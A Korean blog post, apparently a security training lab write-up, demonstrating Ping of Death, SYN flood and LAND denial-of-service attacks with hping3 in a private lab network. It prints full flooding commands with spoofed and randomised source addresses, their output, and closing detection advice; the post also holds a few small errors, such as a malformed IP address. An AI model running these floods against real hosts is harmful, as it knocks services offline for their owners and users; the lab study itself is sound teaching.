<목차>
1. 목적
2. 사용 툴 & 구성 환경
3. 실습 과정
4. 결과 확인
1. 목적
DoS(Denial of Service, 서비스 거부)는 공격대상이 수용할 수 있는 공격 대상이 수용할 수 있는 능력 이상의 정보를 제공하거나, 사용자 또 는 네트워크의 용량을 초과시켜 정상적으로 작동하지 못하게 하는 공격을 의미한다.
<공격방식>
Ping of Death | Ping of Death 공격 | 네트워크 자원 고갈을 위해 매우 많은 패킷을 송신 |
라우팅과 패킷의 분할 | SYN Flooding 공격 | 시스템 자원 고갈을 위해 조합되지 않는 3-way-handshake에서의 SYN 패킷을 송신 |
LAND 공격 | 시스템 자원 고갈을 위해 피해자가 피해자의 IP로 패킷을 보낸것처럼 스니핑하여 패킷을 송신 |
현재는 PC를 대상으로 DoS공격이 불가능 하지만 네트워크 대상으로만 가능하다.
2. 사용 툴 & 구성 환경
1) hping3 : 가장 기본적인 DoS공격을 위한 툴로서 모든 공격 방식을 지원한다.
hping --icmp --rand-source <피해자IP> -d [패킷크기] --flood
// --icmp : 전송 패킷을 icmp타입으로 송신한다.
// --rand-source : 패킷의 송신측 IP를 난수로 생성한다.
// -a <IP> : spoofing을 이용해 송신측의 IP를 조작한다.
// <피해자IP> : 피해자의 IP
// -d [패킷크기] : 전송 패킷의 길이 (MAXIMUM : 65,535)
// -c [패킷갯수] : 전송 패킷의 갯수
// --flood [-fast|-faster] : -fast(10개/sec), -faster(100개/sec)만큼 패킷을 flood시킨다.
2) 구성 환경
IP | 운영체제 | |
피해자 | 192.168.111.29 | Windows XP |
피해 Web server | 192.168.111.154 | Cent OS 7 |
공격자 | 192168.111.26 | Cent OS 6 |
3. 실습 과정
hping을 설치한다. gpg public key에러가 발생한다면 아래의 명령어를 사용한다.
yum install -y <프로그램> --nogpgcheck
1) Ping of death
[root@6-32 ~]# hping --icmp --rand-source 192.168.111.29 -d 35000
HPING 192.168.111.29 (eth0 192.168.111.29): icmp mode set, 28 headers + 35000 data bytes
^C
--- 192.168.111.29 hping statistic ---
2 packets tramitted, 0 packets received, 100% packet loss
round-trip min/avg/max = 0.0/0.0/0.0 ms
2) SYN Flooding
[root@6-32 ~]# hping --rand-source 192.168.111.154 -p 80 -S --fast
HPING 192.168.111.154 (eth0 192.168.111.154): S set, 40 headers + 0 data bytes
^C
--- 192.168.111.154 hping statistic ---
15 packets tramitted, 0 packets received, 100% packet loss
round-trip min/avg/max = 0.0/0.0/0.0 ms
3) LAND
[root@6-32 ~]# hping 192.168.111.29 -a 192.168.111.29 --icmp --fast
HPING 192.168.111.29 (eth0 192.168.111.29): icmp mode set, 28 headers + 0 data bytes
^C
--- 192.168.111.29 hping statistic ---
15 packets tramitted, 0 packets received, 100% packet loss
round-trip min/avg/max = 0.0/0.0/0.0 ms
4) floodd가 --faster과 --fast일때의 패킷 전송 속도차이 (약 3s간 전송)
4. 결과 확인
1) ping of death
ping of death로 공격을 했을때 피해자가 수신한 패킷이다. 공격자가 송신측의 IP를 추측할 수 없도록 난수로 송신측 IP를 생성했기때문에 패킷마다 송신측 IP가 다르다. 데이터는 쓰레기 값으로 채워져 전송된다.
패킷의 크기를 크게하면 패킷의 데이터 부분에 채워지는 쓰레기 값만 커진 상태로 전송이 되어 네트워크 자원을 고갈시킨다.
2) syn flooding
Web서버가 3-way-handshake를 수행할때 사용하는 syn패킷을 의미없이 생성하여 공격하는 방식이다. 난수로 생성한 IP로 접속하는 것처럼 하여 트래픽 양을 늘려 네트워크를 마비시킨다.
httpd서버가 작동해야 공격이 가능하며, 시간이 지남에 따라 포트에 접속하는 네트워크가 점점 많아진다.
3) land
공격자가 피해자의 IP로 의미없는 패킷을 생성하여 다시 피해자에게 전송하는 공격임을 알 수 있다. 자신과 같은 IP가 송신하는 패킷에 대한 처리 방법은 규격에 없기 때문에 운영체제마다 다르지만 시스템의 자원을 고갈하는 것은 분명하다.
원래 DoS공격은 특정 서버 혹은 장치를 마비시키기 위해 개발되었지만 현재는 운영체제가 패킷을 무시하는 형태로 설계되고있어 공격이 무의미 하다. 하지만 네트워크 자체에 트래픽이 폭발적으로 늘어나 네트워크 망 자체는 마비시키는것이 가능하다. 따라서 Dos공격은 사용자가 예방하거나 해결할 수 있는 것이 아니라 ISP가 해결해야 할 문제이다. 하지만 Dos공격을 감지하고 문제를 인식하는 것은 필요하다. 트래픽을 캡쳐하고 분석하는 Packet Dump나 웹서버 접속 로그 (WebServer Access Log)정보 등으로 공격을 감지하고, 공격 방식을 분석한다.
'교육 > Security' 카테고리의 다른 글
Day 74 (TCP Hijacking) (2) | 2020.03.12 |
---|---|
Day 73 (DDoS) (0) | 2020.03.11 |
Day 73 (Hidden Channel) (0) | 2020.03.11 |
Day 73 (Tunneling) (0) | 2020.03.11 |
Day 72 (DNS spoofing) (0) | 2020.03.10 |